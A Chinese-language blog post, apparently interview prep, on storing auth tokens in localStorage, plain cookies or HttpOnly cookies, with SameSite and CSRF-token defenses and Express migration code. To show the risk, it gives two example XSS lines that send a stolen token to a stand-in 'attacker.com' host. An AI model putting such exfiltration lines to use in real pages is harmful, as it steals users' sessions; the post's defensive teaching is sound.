博客 / 詳情

返回

用户 Token 到底該存哪?

🧑‍💻 寫在開頭

點贊 + 收藏 === 學會🤣🤣🤣

面試官問:"用户 token 應該存在哪?"

很多人脱口而出:localStorage。

這個回答不能説錯,但遠稱不上好答案

一個好答案,至少要説清三件事:

  • 有哪些常見存儲方式,它們的優缺點是什麼
  • 為什麼大部分團隊會從 localStorage 遷移到 HttpOnly Cookie
  • 實際項目裏怎麼落地、怎麼權衡「安全 vs 成本」

這篇文章就從這三點展開,順便幫你把這道高頻面試題吃透。


三種存儲方式,一張圖看懂差異

前端存 token,主流就三種:

ScreenShot_2026-01-18_173653_730

 

localStorage:用得最多,但也最容易出事

大部分項目一開始都是這樣寫的,把 token 往 localStorage 一扔就完事了:

// 登錄成功後
localStorage.setItem('token', response.accessToken);

// 請求時取出來
const token = localStorage.getItem('token');
fetch('/api/user', {
  headers: { Authorization: `Bearer ${token}` }
});

用起來確實方便,但有個致命問題:XSS 攻擊可以直接讀取。

localStorage 對 JavaScript 完全開放。只要頁面有一個 XSS 漏洞,攻擊者就能一行代碼偷走 token:

// 攻擊者注入的腳本
fetch('https://attacker.com/steal?token=' + localStorage.getItem('token'))

  

你可能會想:"我的代碼沒有 XSS 漏洞。"

現實是:XSS 漏洞太容易出現了——一個 innerHTML 沒處理好,一個第三方腳本被污染,一個 URL 參數直接渲染……項目一大、接口一多,總有疏漏的時候。


普通 Cookie:XSS 能讀,CSRF 還會自動帶

有人會往 Cookie 上靠攏:"那我存 Cookie 裏,是不是就更安全了?"

如果只是「普通 Cookie」,實際上比 localStorage 還糟糕:

// 設置普通 Cookie
document.cookie = `token=${response.accessToken}; path=/`;

// 攻擊者同樣能讀到
const token = document.cookie.split('token=')[1];
fetch('https://attacker.com/steal?token=' + token);

XSS 能讀,CSRF 還會自動帶上——兩頭不討好。


HttpOnly Cookie:讓 XSS 偷不走 Token

真正值得推薦的,是 HttpOnly Cookie。

它的核心優勢只有一句話:JavaScript 讀不到。

// 後端設置(Node.js 示例)
res.cookie('access_token', token, {
  httpOnly: true,    // JS 訪問不到
  secure: true,      // 只在 HTTPS 發送
  sameSite: 'lax',   // 防 CSRF
  maxAge: 3600000    // 1 小時過期
});
設置了 httpOnly: true,前端 document.cookie 壓根看不到這個 Cookie。XSS 攻擊偷不走。
// 前端發請求,瀏覽器自動帶上 Cookie
fetch('/api/user', {
  credentials: 'include'
});

// 攻擊者的 XSS 腳本
document.cookie  // 看不到 httpOnly 的 Cookie,偷不走

HttpOnly Cookie 的代價:需要正面面對 CSRF

HttpOnly Cookie 解決了「XSS 偷 token」的問題,但引入了另一個必須正視的問題:CSRF

因為 Cookie 會自動發送,攻擊者可以誘導用户訪問惡意頁面,悄悄發起偽造請求:

ScreenShot_2026-01-18_173703_963

好消息是:CSRF 比 XSS 容易防得多。

SameSite 屬性

最簡單的一步,就是在設置 Cookie 時加上 sameSite

res.cookie('access_token', token, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax'  // 關鍵配置
});

sameSite 有三個值:

  • strict:跨站請求完全不帶 Cookie。最安全,但從外鏈點進來需要重新登錄
  • lax:GET 導航可以帶,POST 不帶。大部分場景夠用,Chrome 默認值
  • none:都帶,但必須配合 secure: true

lax 能防住絕大部分 CSRF 攻擊。如果業務場景更敏感(比如金融),可以再加 CSRF Token。

CSRF Token(更嚴格)

如果希望更嚴謹,可以在 sameSite 基礎上,再加一層 CSRF Token 驗證:

// 後端生成 Token,放到頁面或接口返回
const csrfToken = crypto.randomUUID();
res.cookie('csrf_token', csrfToken);  // 這個不用 httpOnly,前端需要讀

// 前端請求時帶上
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-CSRF-Token': document.cookie.match(/csrf_token=([^;]+)/)?.[1]
  },
  credentials: 'include'
});

// 後端驗證
if (req.cookies.csrf_token !== req.headers['x-csrf-token']) {
  return res.status(403).send('CSRF token mismatch');
}

攻擊者能讓瀏覽器自動帶上 Cookie,但沒法讀取 Cookie 內容來構造請求頭。


核心對比:為什麼寧願多做 CSRF,也要堵死 XSS

這是全篇最重要的一點,也是推薦 HttpOnly Cookie 的根本原因。

XSS 的攻擊面太廣

  • 用户輸入渲染(評論、搜索、URL 參數)
  • 第三方腳本(廣告、統計、CDN)
  • 富文本編輯器
  • Markdown 渲染
  • JSON 數據直接插入 HTML

代碼量大了,總有地方會疏漏。一個 innerHTML 忘了轉義,第三方庫有漏洞,攻擊者就能注入腳本。

CSRF 防護相對簡單、手段統一

  • sameSite: lax 一行配置搞定大部分場景
  • 需要更嚴格就加 CSRF Token
  • 攻擊面有限,主要是表單提交和鏈接跳轉

兩害相權取其輕——先把 XSS 能偷 token 這條路堵死,再去專心做好 CSRF 防護


真落地要改什麼:從 localStorage 遷移到 HttpOnly Cookie

從 localStorage 遷移到 HttpOnly Cookie,需要前後端一起動手,但改造範圍其實不大。

後端改動

登錄接口,從「返回 JSON 裏的 token」改成「Set-Cookie」:

// 改造前
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.json({ accessToken: token });
});

// 改造後
app.post('/api/login', (req, res) => {
  const token = generateToken(user);
  res.cookie('access_token', token, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    maxAge: 3600000
  });
  res.json({ success: true });
});

前端改動

前端請求時不再手動帶 token,而是改成 credentials: 'include'

// 改造前
fetch('/api/user', {
  headers: { Authorization: `Bearer ${localStorage.getItem('token')}` }
});

// 改造後
fetch('/api/user', {
  credentials: 'include'
});

如果用 axios,可以全局配置:

axios.defaults.withCredentials = true;

登出處理

登出時,後端清除 Cookie:

app.post('/api/logout', (req, res) => {
  res.clearCookie('access_token');
  res.json({ success: true });
});

  

如果暫時做不到 HttpOnly Cookie,可以怎麼降風險

有些項目歷史包袱比較重,或者後端暫時不願意改。短期內只能繼續用 localStorage 的話,至少要做好這些補救措施:

  1. 嚴格防 XSS

    • textContent 代替 innerHTML
    • 用户輸入必須轉義
    • 配置 CSP 頭
    • 富文本用 DOMPurify 過濾
  2. Token 過期時間要短

    • Access Token 15-30 分鐘過期
    • 配合 Refresh Token 機制
  3. 敏感操作二次驗證

    • 轉賬、改密碼等操作,要求輸入密碼或短信驗證
  4. 監控異常行為

    • 同一賬號多地登錄告警
    • Token 使用頻率異常告警

面試怎麼答

回到開頭的問題,面試怎麼答?

簡潔版(30 秒):

推薦 HttpOnly Cookie。因為 XSS 比 CSRF 難防——代碼裏一個 innerHTML 沒處理好就可能有 XSS,而 CSRF 只要加個 SameSite: Lax 就能防住大部分。用 HttpOnly Cookie,XSS 偷不走 token,只需要處理 CSRF 就行。

完整版(1-2 分鐘):

Token 存儲有三種常見方式:localStorage、普通 Cookie、HttpOnly Cookie。

localStorage 最大的問題是 XSS 能讀取。JavaScript 對 localStorage 完全開放,攻擊者注入一行腳本就能偷走 token。

普通 Cookie 更糟,XSS 能讀,CSRF 還會自動發送。

推薦 HttpOnly Cookie,設置 httpOnly: true 後 JavaScript 讀不到。雖然 Cookie 會自動發送導致 CSRF 風險,但 CSRF 比 XSS 容易防——加個 sameSite: lax 就能解決大部分場景。

所以權衡下來,HttpOnly Cookie 配合 SameSite 是更安全的方案。

當然,沒有絕對安全的方案。即使用了 HttpOnly Cookie,XSS 攻擊雖然偷不走 token,但還是可以利用當前會話發請求。最好的做法是縱深防禦——HttpOnly Cookie + SameSite + CSP + 輸入驗證,多層防護疊加。

加分項(如果面試官追問):

  • 改造成本:需要前後端配合,登錄接口改成 Set-Cookie 返回,前端請求加 credentials: include
  • 如果用 localStorage:Token 過期時間要短,敏感操作二次驗證,嚴格防 XSS
  • 移動端場景:App 內置 WebView 用 HttpOnly Cookie 可能有兼容問題,需要具體評估

如果對您有所幫助,歡迎您點個關注,我會定時更新技術文檔,大家一起討論學習,一起進步。

user avatar
0 位用戶收藏了這個故事!

發佈 評論

Some HTML is okay.